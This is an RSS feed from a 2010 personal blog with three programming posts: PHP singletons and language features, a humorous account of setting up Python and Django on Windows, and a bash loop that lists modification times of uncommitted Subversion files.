<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Josh on the Web</title>
	<atom:link href="http://joshduck.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://joshduck.com/blog</link>
	<description>It's a blog about the web, by Josh. Geddit?</description>
	<lastBuildDate>Tue, 09 Mar 2010 22:59:18 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Singletons: What can they teach us about PHP?</title>
		<link>http://joshduck.com/blog/2010/03/10/singletons-what-can-they-teach-us-about-php/</link>
		<comments>http://joshduck.com/blog/2010/03/10/singletons-what-can-they-teach-us-about-php/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 22:54:23 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=91</guid>
		<description><![CDATA[Why would I be showing you how implement singletons in PHP? Don&#8217;t I know that the singleton pattern suffers from obvious shortcomings? Of course I do, but I have an ulterior motive. Singletons are a simple way to show off some of the features of PHP you probably don&#8217;t get to see and use too [...]]]></description>
			<content:encoded><![CDATA[<p>Why would I be showing you how implement singletons in PHP? Don&#8217;t I know that the singleton pattern suffers from <a href="http://blogs.msdn.com/scottdensmore/archive/2004/05/25/140827.aspx">obvious shortcomings</a>? Of course I do, but I have an ulterior motive. Singletons are a simple way to show off some of the features of PHP you probably don&#8217;t get to see and use too often. Now we&#8217;ve got that covered let&#8217;s see some code. If you haven&#8217;t seen a Singleton before the premise is simple: there should only ever be one instance of our class.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">class</span> Greeter <span style="color: #009900;">&#123;</span>
	protected <span style="color: #000088;">$count</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> hello<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'Hi '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> getInstance<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		static <span style="color: #000088;">$instance</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$instance</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$class</span> <span style="color: #339933;">=</span> get_called_class<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$instance</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000088;">$class</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$instance</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> FrenchGreeter <span style="color: #000000; font-weight: bold;">extends</span> Greeter <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> hello<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'Bonjour '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> Greeter<span style="color: #339933;">::</span><span style="color: #004000;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hello</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'Hi 1'</span>
<span style="color: #b1b100;">echo</span> Greeter<span style="color: #339933;">::</span><span style="color: #004000;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hello</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'Hi 2'</span>
<span style="color: #b1b100;">echo</span> FrenchGreeter<span style="color: #339933;">::</span><span style="color: #004000;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hello</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'Bonjour 1'</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Now, there are a few fun snippets in this piece of code. Let&#8217;s start at the top:</p>
<h2>Private constructors</h2>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>A private constructor? Yep. That means that only the Greeter class can construct a new instance of itself. You can try it if you&#8217;d like:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$bob</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Greeter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
Fatal error<span style="color: #339933;">:</span> Call to <span style="color: #000000; font-weight: bold;">private</span> Greeter<span style="color: #339933;">::</span>__construct<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> from invalid context in C<span style="color: #339933;">:</span>\Users\Josh\Examples\singletons<span style="color: #339933;">.</span>php on line <span style="color: #cc66cc;">1</span></pre></div></div>

<p>Told you so. So this prevents anyone from sneakily constructing a new instance of the class when we&#8217;re not looking. On to the next snippet.</p>
<h2>Static variables</h2>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> getInstance<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	static <span style="color: #000088;">$instance</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span></pre></div></div>

<p>Defining <a href="http://php.net/manual/en/language.variables.scope.php">statically scopped variables</a> within functions is a feature borrowed from C. All static variables, whether defined in a method or in the class definition, are bound to the function and will persist across calls. The initial assignment (setting the variable to null) is only executed once &#8211; when the variable is declared. You can only assign scalar values on a static variable declaraion so the null assignment and check are necessary to if we are to assign an object or array to the variable.</p>
<p>You can use static variables in instance methods and plain old functions too. If you do use them in an instance method then remember that the variable is bound to the class and not the instance. Take a look at the following code:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">class</span> Counter <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		static <span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$count</span><span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> SubCounter <span style="color: #000000; font-weight: bold;">extends</span> Counter <span style="color: #009900;">&#123;</span> 
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Counter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$b</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Counter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SubCounter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$a</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 1</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$b</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 2</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$c</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 1</span></pre></div></div>

<p>Even though $a and $b are two seperate instances the static $count variable is scoped to the method, which is in turn scoped to the class, so is shared between instances. When we call the method on $c our static variable is bound to SubCounter so we get the value of 1. </p>
<h2>Fetching the current class name</h2>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$class</span> <span style="color: #339933;">=</span> get_called_class<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>The <a href="http://www.php.net/get_called_class">get_called_class</a> method is a long overdue addition to PHP and was added in the 5.3 release with the introduction of <a href="http://php.net/manual/en/language.oop5.late-static-bindings.php">late static binding</a>. The function returns the class which the current method was invoked on. The older <a href="http://www.php.net/get_class">get_class</a> (when called with no arguments) and __CLASS__ magic constant always return the name of the class where the current method was defined (compile time binding). Let&#8217;s take a look.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">class</span> A <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> who<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #009900; font-weight: bold;">__CLASS__</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #990000;">get_class</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #990000;">get_class</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> get_called_class<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> whoStatic<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #009900; font-weight: bold;">__CLASS__</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #990000;">get_class</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> get_called_class<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> B <span style="color: #000000; font-weight: bold;">extends</span> A <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> A<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	
<span style="color: #000088;">$b</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> B<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	
<span style="color: #000088;">$a</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">who</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>          <span style="color: #666666; font-style: italic;">//Outputs AAAA</span>
<span style="color: #000088;">$b</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">who</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>          <span style="color: #666666; font-style: italic;">//Outputs AABB</span>
A<span style="color: #339933;">::</span><span style="color: #004000;">whoStatic</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">//AAA</span>
B<span style="color: #339933;">::</span><span style="color: #004000;">whoStatic</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">//Outputs AAB</span></pre></div></div>

<p>The get_class() function is a kind-of dual purpose function. If an object is passed to the function then it returns the name of that object&#8217;s class. Otherwise it acts like __CLASS__. </p>
<p>Instance methods always give us an implicit $this variable, which we can easily pass to get_class(). However, static methods have no such luxury. Before the introduction of late static binding there was absolutely no way to determine which class a static method was called on.</p>
<h2>Variable variable functions</h2>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$instance</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000088;">$class</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>This is one of PHP&#8217;s niftier features. Any variable lookup, function call or class instantiation can be performed on a string value. PHP calls these <a href="http://www.php.net/manual/en/language.variables.variable.php">Variable variables</a> and <a href="http://www.php.net/manual/en/functions.variable-functions.php">Variable functions</a>. Let&#8217;s check out some examples.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$var</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'city'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$city</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'London'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$$var</span><span style="color: #339933;">;</span>	<span style="color: #666666; font-style: italic;">//Outputs 'London'</span>
&nbsp;
<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'foo'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$b</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'bar'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$foobar</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Found me'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> $<span style="color: #009900;">&#123;</span><span style="color: #000088;">$a</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$b</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'Found me'</span>
&nbsp;
<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'b'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$b</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'c'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'d'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$d</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'The end'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> $$<span style="color: #000088;">$$a</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'The end';</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> greeting<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Hi'</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$func</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'greeting'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$func</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'Hi'</span></pre></div></div>

<p>This allows for some neat meta-programming. Though care should be taken not to abuse the functionality.</p>
<p>So there you have it, four advanced PHP examples from one design pattern (that you should never, ever use).</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/03/10/singletons-what-can-they-teach-us-about-php/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Getting started with Python and Django in 23 frustrating steps.</title>
		<link>http://joshduck.com/blog/2010/02/27/getting-started-with-python-and-django-in-23-frustrating-steps/</link>
		<comments>http://joshduck.com/blog/2010/02/27/getting-started-with-python-and-django-in-23-frustrating-steps/#comments</comments>
		<pubDate>Sat, 27 Feb 2010 00:52:19 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=70</guid>
		<description><![CDATA[Should I or shouldn&#8217;t I? Should I ditch my well-worn PHP and the frameworks I know so well to go with this new-fangled (silent-d)Jango thingy I hear the cool kids talking about? It&#8217;s a big decision, as this project is going to be the big one (you know, the one that will change the world [...]]]></description>
			<content:encoded><![CDATA[<p>Should I or shouldn&#8217;t I? Should I ditch my well-worn PHP and the frameworks I know so well to go with this new-fangled (silent-d)Jango thingy I hear the cool kids talking about? It&#8217;s a big decision, as this project is going to be the big one (you know, the one that will change the world and all that).</p>
<p>I&#8217;ve worked with PHP for over six years. It has it&#8217;s warts (and how) but it&#8217;s very much a known quantity at this point. On the other hand, when I have used Python it&#8217;s been a much more pleasant experience. The fact that this is a personal project makes the decision easier: let&#8217;s ditch old mate LAMPhp go with LAMPy. It&#8217;s almost dinner time and the latter sounds like it&#8217;d go well with an ale anyway. So, starting with a brand new dev box, where do I begin?<span id="more-70"></span></p>
<ol>
<li> Go to the Python website<br />
Of course. So P-Y-T-H-O-N-DOT-C-O-M, Enter. Er. Not exactly what I was looking for (and not what you should be looking for if your boss is anywhere nearby). Let&#8217;s try that again. Google to the rescue. Apparently I want DOT-O-R-G.</li>
<li>Choose a binary<br />
OK, so I know from listening to the fine folks over at proggit that there is an attempted Python 2 to 3 migration happening at the moment. There is no point investing my time in an outdated version so I&#8217;ll grab the 3.1 download.</li>
<li>Install Python<br />
C:\Python31. Hmm. Python, I know that you have a high opinion of yourself but you&#8217;re not that important to me just yet. You can go play nice in Program Files with all the other programs.</li>
<li>Download Django<br />
Now it&#8217;s Django&#8217;s turn. There&#8217;s the installer. Python 2.3 or higher, you say. Well logically 3 is higher than 2.3, but doesn&#8217;t Python 3 have problems with it&#8217;s younger siblings? Let me just check with a hit of the old Google&#8230; yup, as I thought. We&#8217;ll have to go with the older version.</li>
<li>Install Python<br />
Python 2! It&#8217;s not quite as fun when you know your downloading an outdated model.</li>
<li>Install Django<br />
So I&#8217;ve downloaded Django and now I&#8217;ve got an archive full of Python files. How do I install them?</li>
<li>Read the instructions<br />
But I hate doing that!</li>
<li>Run setup.py<br />
So I have to run the included setup.py file? If I launch the file from Explorer it prints something then immediately exits. Let&#8217;s open up the command line, cd to the correct location and run it again.</li>
<li>Run setup.py install<br />
OK, I forgot the &#8220;install&#8221; argument. You could have just told my with a popup; slept after printing the error; or heaven forbid, prompted me for an action. At least it&#8217;s working&#8230; can&#8217;t copy!? What do you mean?</li>
<li>Run setup.py install as an administrator<br />
Ah, of course you can&#8217;t copy to my Program Files. Time to launch a new command window as an administrator, renavigate to the archive and install.</li>
<li>Start a Django project<br />
You have to love the feeling you get when something works first time.</li>
<li>Define database settings<br />
Edit my project settings, easy enough.</li>
<li>Run the Django server<br />
Error: MySQLdb blah blah blah. What does that mean? Wait, Python does come with MySQL extensions right? Right!? It&#8217;s not like it&#8217;s one of the the most popular RDBMS on the planet.</li>
<li>Google it<br />
Hi Google. Yes, I&#8217;m back again. Do you know which module I want? Wow. That&#8217;s a lot of results. Are these the same? I&#8217;m looking for MySQLdb, not MySQL-Python. Ah, I see. They&#8217;re the same.</li>
<li>Go to SourceForge<br />
Why is this on SourceForge? Who&#8217;s distributing it? Ah, screw it. There is a big download button. I&#8217;m sure it&#8217;s safe. I mean, the button is green. Green is good. Red is bad. I didn&#8217;t get this far without learning a few things.</li>
<li>These are not the files you are looking for<br />
What do you mean they are the C files? I want a binary installer dammit. I&#8217;m a Windows user. I&#8217;m like a ten year old who still has training wheels on his bike; I don&#8217;t know anything about make files and building binaries.</li>
<li>Get the binary<br />
At least I know where the binaries can be downloaded&#8230; don&#8217;t I? Why do the binaries stop at Python 2.5 on the SourceForge page?</li>
<li>Google it!<br />
Yes, Google, I know I was just here. Just tell me where I can get a binary. Please stop laughing at me.</li>
<li>Download a binary<br />
There are a bunch of unofficial installers. Which one do I choose? bobs-super-awesome-mysql-python-for-2.6.exe looks reputable.</li>
<li>Install MySQLdb<br />
Great, a proper installer this time. It looks a bit &#8220;Windows 95&#8243; but beggers can&#8217;t be choosers. At least with an installer this should be eas&#8230; Hmmm, it&#8217;s frozen.</li>
<li>Think back<br />
Wait, the other installer didn&#8217;t like running in user mode either. Perhaps if I run as root. Ah ha. That&#8217;s done it.</li>
<li>Install Python<br />
How silly of me. It should be obvious that all the C extensions only offer win32 versions. What exactly is the point of having a 64 bit binary then? Let&#8217;s reinstall Python. Joy of joys.</li>
<li>Enjoy<br />
Success at last. Time to revel in my new found smugness as a Pythonista:	&#8220;If the implementation is easy to explain, it may be a good idea.&#8221; You tell &#8216;em Guido.</li>
</ol>
<h2>The Takeaways</h2>
<p>Sarcasm is fun! Fixing things is hard. Despite the tone of what I&#8217;ve said above there are quite a few frustrating  hurdles that face those new to Python and Django.</p>
<ul>
<li>If the .com variant of your website is a port site then you have problems. Developers might know to go to the right site but think of clueless managers.</li>
<li>The Python download page should spell out the benefits and drawbacks to each binary download. Be realistic. It&#8217;s better that the developer gets the version they need first time rather than having to come back later on for seconds, or thirds.</li>
<li>It&#8217;s not the 90&#8217;s any more. It&#8217;s not acceptable to expect to be  installed to C:\ root.</li>
<li>I didn&#8217;t mention it in the article but Python doesn&#8217;t add itself to my PATH. Having to dig around in my computer settings to be able to easily run Python from the command line is a pain.</li>
<li>Win64 has existed for a long time now. Shouldn&#8217;t it be supported by common modules?</li>
<li>Installers should be aware of restrictions introduced by Vista&#8217;s UAC model. This is basic stuff. Hanging on install without displaying errors is not acceptable.</li>
<li>The MySQL module should not be a second-class citizen maintained by some third party. If you want to poach PHP developers then you have to speak their language.</li>
<li>Setup tools could be a lot friendlier by prompting the user for an operation if an argument is not provided.</li>
<li>The Django download page should make it clear that Python 3 is not supported. Dropping backwards compatibility is not actually that common in other languages.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/02/27/getting-started-with-python-and-django-in-23-frustrating-steps/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cleaning up antiquated subversion working folders</title>
		<link>http://joshduck.com/blog/2010/02/27/cleaning-up-antiquated-subversion-working-folders/</link>
		<comments>http://joshduck.com/blog/2010/02/27/cleaning-up-antiquated-subversion-working-folders/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 22:25:39 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=62</guid>
		<description><![CDATA[Today I stumbled across an unused working folder in a dark and dusty corner of one of our development servers. The directory had a couple of dozen un-checked in changes. Some were from barely a month ago while others dated back years. Not wanting to discard any important modifirations I cobbled together a bash command [...]]]></description>
			<content:encoded><![CDATA[<p>Today I stumbled across an unused working folder in a dark and dusty corner of one of our development servers. The directory had a couple of dozen un-checked in changes. Some were from barely a month ago while others dated back years. Not wanting to discard any important modifirations I cobbled together a bash command to show me when each file was last modified (the file&#8217;s mtime).<span id="more-62"></span></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">for</span> CHANGED <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">svn</span> status <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #ff0000;">&quot;s/^.......//&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">&quot;/.\./&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">do</span>
    <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$CHANGED</span>;
    <span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-l</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$CHANGED</span>&quot;</span>;
<span style="color: #000000; font-weight: bold;">done</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&gt;</span> changes.txt</pre></div></div>

<p>The <code>sed </code> naively removes the first nine characters from the file status from the <code>svn status</code> output, which should just leave the file name.</p>
<p>The <code>awk</code> removes all files and paths without an extension &#8211; this was necessary because I later fed the output through <code>ls</code>, and I didn&#8217;t want any folder listings.</p>
<p>The <code>cat</code> allows me to direct the output to a file. If you aren&#8217;t piping to a file then you can omit that part.</p>
<p>Finally, <code>ls -l</code> shows the mtime of the file. To show the atime I could have used <code>ls -lu</code>, though the results of this were a little inconsistant for me (some times were after the mtime, which seemed counter-intuative). I used <code>ls</code> because I couldn&#8217;t seem to find a replacement for <code>stat</code> that was available on a vanilla Solaris install.</p>
<p>If you&#8217;re on a Linux box the following should work just as well (without trying to filter by extension):</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">for</span> CHANGED <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">svn</span> status <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #ff0000;">&quot;s/^.......//&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">do</span>
   <span style="color: #c20cb9; font-weight: bold;">stat</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$CHANGED</span>&quot;</span>;
<span style="color: #000000; font-weight: bold;">done</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&gt;</span> changes.txt</pre></div></div>

<p>Of course, I&#8217;m still new to bash coding so if you have a script that simplifies this I&#8217;d love to hear about it.</p>
]]></content:encoded>
